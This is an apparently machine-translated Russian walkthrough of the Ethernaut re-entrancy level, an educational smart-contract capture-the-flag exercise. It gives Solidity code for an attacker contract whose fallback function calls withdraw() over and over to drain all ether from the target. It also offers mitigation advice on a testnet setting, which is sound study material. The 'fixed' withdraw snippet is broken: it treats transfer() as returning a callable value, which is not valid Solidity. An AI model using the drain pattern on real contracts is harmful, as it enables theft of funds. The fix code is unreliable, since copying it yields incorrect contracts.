Это углубленная серия, посвященная головоломкам безопасности смарт-контрактов команды Zeppelin. Мы изучаем ключевые концепции Solidity, чтобы решать головоломки на 100% самостоятельно.

Этот уровень требует, чтобы вы украли все эфиры из контракта.

What is re-entrancy

Повторный вход происходит в однопоточных вычислительных средах, когда стек выполнения перескакивает или вызывает подпрограммы, прежде чем вернуться к исходному выполнению.

С одной стороны, это однопоточное выполнение обеспечивает атомарность контрактов и устраняет некоторые состояния гонки. С другой стороны, контракты уязвимы из-за неправильного порядка исполнения.

В приведенном выше примере контракт B - это злонамеренный контракт, который рекурсивно вызывает A.withdraw () для истощения средств контракта A. Обратите внимание, что извлечение средств успешно завершается до того, как контракт A возвращается из своего рекурсивного цикла, и даже понимает, что B извлек намного больше своего собственного баланса.

Этот уровень Ethernaut использует эту проблему повторного входа и следующие дополнительные факторы, которые привели к взлому DAO:

Подробное пошаговое руководство

  1. Создайте вредоносный контракт под названием Reenter.sol, который сначала будет жертвовать Reentrance.sol, а затем рекурсивно снимать его до тех пор, пока Reentrance не исчерпает средства.
contract Reenter {
    Reentrance public original = Reentrance(YOUR_INSTANCE_ADDR);
    uint public amount = 1 ether;    //withdrawal amount each time
}

2. Посев Reenter.sol с эфирами при строительстве контракта:

constructor() public payable {
}

3. Создайте публичную функцию, чтобы Reenter.sol мог делать пожертвования Reentrance.sol и регистрироваться в качестве донора в своей balances бухгалтерской книге:

function donateToSelf() public {
    original.donate.value(amount).gas(4000000)(address(this));//need to add value to this fn
  }

Вызов этой функции гарантирует, что ваш вредоносный контракт сможет вызвать withdraw() хотя бы один раз, то есть пройти проверку if(balances[msg.sender] >= _amount).

На приведенной выше диаграмме показан рекурсивный цикл, который позволяет Reenter.sol извлекать все средства из Reentrance.sol.

Давайте реализуем злонамеренную функцию отката в контракте B, чтобы, когда контракт A выполняет msg.sender.call.value(_amount)() для возврата денег по контракту B, ваши злонамеренные контракты инициируют еще больше снятия средств.

4. Реализуйте эту вредоносную функцию отката:

function() public payable {
    if (address(original).balance != 0 ) {
        original.withdraw(amount); 
    }
}

5. Наконец, в Remix: разверните свой контракт в Ropsten, заполнив его эфирами, сделайте пожертвование Reentrance, затем вызовите резервную функцию, чтобы исчерпать все средства из Reentrance.

Ключевые выводы по безопасности

  • Порядок выполнения действительно имеет значение в Solidity. Если вам необходимо выполнить вызовы внешних функций, сделайте последнее, что вы делаете (после всех необходимых проверок и противовесов):
function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
        balances[msg.sender] -= _amount;         
        if(msg.sender.transfer(_amount)()) {
            _amount;
        }
    }
}
// Or even better, invoke transfer in a separate function
  • Включите мьютекс, чтобы предотвратить повторное вхождение, например используйте логическую переменную lock, чтобы указать глубину выполнения.
  • Будьте осторожны при использовании модификаторов функций для проверки инвариантов: модификаторы выполняются в начале функции. Если состояние переменной будет изменяться в течение всей функции, рассмотрите возможность извлечения модификатора в проверку, размещенную в правильной строке функции.
  • «Используйте transfer для вывода средств из вашего контракта, поскольку он throws и ограничивает пересылку газа. Функции низкого уровня, такие как call и send, просто возвращают false, но не прерывают поток выполнения при сбое принимающего контракта ». - с уровня Ethernaut
  • Ознакомьтесь с полным анализом взлома DAO здесь.

Больше уровней





Получайте лучшие предложения по программному обеспечению прямо в свой почтовый ящик